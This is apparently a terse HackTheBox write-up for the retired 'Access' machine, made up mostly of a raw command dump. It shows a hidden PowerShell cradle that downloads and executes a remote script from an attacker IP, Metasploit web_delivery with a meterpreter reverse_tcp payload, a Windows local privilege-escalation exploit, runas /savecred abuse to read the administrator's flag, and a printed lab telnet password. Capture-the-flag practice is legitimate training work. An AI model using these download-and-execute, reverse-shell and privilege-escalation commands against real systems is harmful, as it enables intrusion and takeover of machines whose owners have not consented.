HackTheBox Access

Hey I’m back with another Hack The Box write-up , this time Access has retired and it was rated as a hard box..

!!!Staring with Nmap
!!!Got FTP anonymous LOGIN
!!!Got zip and mdb file
!!!Enumurating the files,
!!!Got telnet ACCESS
!!!Got user.txt
!!! Three Way to Get Admin ACCESS
!!!Powershell
!!!metasploit
!!!runas.exe

.#####...Here is cmd ...####

first find the zip file pwd

pwd is in the strings backup.mdb | less

telnet password

security
4Cc3ssC0ntr0ller


powershell.exe -nop -w hidden -c $C=new-object net.webclient;$C.proxy=[Net.WebRequest]::GetSystemWebProxy();$C.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $C.downloadstring('http://10.10.12.140:8080/troopZf');

use exploit/multi/script/web_delivery
set target 2
set payload windows/x64/meterpreter/reverse_tcp
set lhost 10.10.14.6
exploit

use post/multi/recon/local_exploit_suggester


use exploit/windows/local/ms16_014_wmi_recv_notif
set lhost 10.10.14.6
set session 1
set lport 1234
exploit

mdb-export backup.mdb auth_user

C:\Windows\System32\runas.exe /env /user:Administrator /savecred "cmd /k more c:\Administrator\Desktop\root.txt t.txt

C:\Windows\System32\runas.exe /env /user:Administrator /savecred "cmd /k type c:\Administrator\Desktop\root.txt t1.txt

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.140:8000/1.ps1','1.ps1')"

powershell "IEX(New-Object Net.WebClient).downloadString('http://10.10.12.140:8000/1.ps1')"
(New-Object System.Net.WebClient).DownloadFile('http://10.10.12.140:8000/1.ps1','1.ps1')

C:\Windows\System32\runas.exe /env /user:Administrator /savecred "cmd /k file.exe"

#hacking #hackthebox #oscp #ctf #ctefhellanges